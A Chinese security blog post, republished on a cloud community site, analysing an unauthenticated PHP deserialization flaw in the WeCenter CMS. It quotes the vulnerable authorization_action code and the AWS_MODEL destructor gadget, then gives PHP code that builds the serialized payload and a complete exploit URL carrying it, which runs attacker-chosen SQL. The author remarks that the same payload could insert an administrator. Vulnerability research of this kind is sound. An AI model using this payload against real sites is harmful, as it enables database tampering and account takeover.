前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >wecenter反序列化造成任意SQL语句执行

wecenter反序列化造成任意SQL语句执行

作者头像
phith0n
发布2020-10-15 11:07:33
5410
发布2020-10-15 11:07:33
举报
文章被收录于专栏:离别歌 - 信息安全与代码审计

【过年了,每天发一篇以前的存货,一共七篇。】

0x01 反序列化造成的安全问题

wecenter是一款社交CMS,界面清新,功能简介,受到很多人的喜爱。wecenter基于Zend开发,安全性虽不说很顽固,但较少存在低级的SQL注入等漏洞,今天说的是一个由反序列化造成的任意SQL语句执行漏洞。

该漏洞无需登录,利用也很简单,但需要一定条件。下载最新版wecenter,首先看到 /app/m/weixin.php:110

代码语言:javascript
复制
<?php
public function authorization_action()
{
    $this->model('account')->logout();
    unset(AWS_APP::session()->WXConnect);
    if (get_setting('weixin_account_role') != 'service')
    {
        H::redirect_msg(AWS_APP::lang()->_t('此功能只适用于通过微信认证的服务号'));
    }
    else if ($_GET['code'] OR $_GET['state'] == 'OAUTH')
    {
        if ($_GET['state'] == 'OAUTH')
        {
            $access_token = unserialize(base64_decode($_GET['access_token']));
        }

上面这句话将$_GET'access_token'解码以后进行反序列化。当然这个点存在利用条件,那就是get_setting('weixin_account_role') != 'service',需要后台设置了微信认证服务号:

反序列化漏洞,一个经典案例: https://cloud.tencent.com/developer/article/1717680 我就不介绍原理了,我们直接看到可以利用的类: /system/aws_model.inc.php

代码语言:javascript
复制
<?php
class AWS_MODEL
{
...
    /**
     * Model 类析构, 执行延迟查询
        {
     */
    public function __destruct()
    {
        $this->master();
        foreach ($this->_shutdown_query AS $key => $query)
        {
            $this->query($query);
        }
    }
}

这里有__destruct函数,我们可以看到,这里直接遍历了_shutdown_query对象,将其值传入query直接执行。

明显存在一个任意SQL语句执行漏洞,只要我生成一个AWS_MODEL类对象,再其销毁的时候就能执行任意SQL语句。

0x02 构造『构造POC』的『POC』

这里这个反序列化漏洞比Joomla那个要简单多了,因为不需要构造执行链,我们利用的东西就直接在当前类中。

但我们回看weixin:authorization_action函数,

代码语言:javascript
复制
<?php
if ($_GET['state'] == 'OAUTH')
{
    $access_token = unserialize(base64_decode($_GET['access_token']));
}
else
{
    $access_token = $this->model('openid_weixin_weixin')->get_sns_access_token_by_authorization_code($_GET['code']);
}

if ($access_token)
{
    if ($access_token['errcode'])
    {
        H::redirect_msg('授权失败: Authorization ' . $access_token['errcode'] . ' ' . $access_token['errmsg'] . ', Code: ' . htmlspecialchars($_GET['code']));
    }
    ...

因为我们需要在析构函数里执行SQL语句,所以必须要让整个执行过程尽快停止,正好下面这句H::redirect_msg函数,只要让$access_token['errcode']为true即可。

所以我构造的反序列化对象是一个数组,数组的第一个元素是error => true,第二个元素就是AWS_MODEL类对象。

代码如下:

代码语言:javascript
复制
<?php
class AWS_MODEL {
    private $_shutdown_query;
    function __construct()
    {
        $this->_shutdown_query = [
            "SELECT updatexml(1,concat(0xa,user()),1)"
        ];
    }
}
$arr = [
    'errcode' => 1,
    new AWS_MODEL()
];
echo urlencode(base64_encode(serialize($arr)));</pre>

生成好POC http://10.211.55.3/wecenter/?/m/weixin/authorization/&state=OAUTH&access_token=YToyOntzOjc6ImVycmNvZGUiO2k6MTtpOjA7Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e2k6MDtzOjQwOiJTRUxFQ1QgdXBkYXRleG1sKDEsY29uY2F0KDB4YSx1c2VyKCkpLDEpIjt9fX0%3D ,传入weixin这个点,即可触发漏洞,执行我在POC里填入的SQL语句:

上图直接构造一个报错SQL语句,即可直接显示数据。

当然,我也可以执行UPDATE或INSERT语句,增加管理员或提升自己为管理等,语句我就不说了,直接修改POC即可。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 反序列化造成的安全问题
  • 0x02 构造『构造POC』的『POC』
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档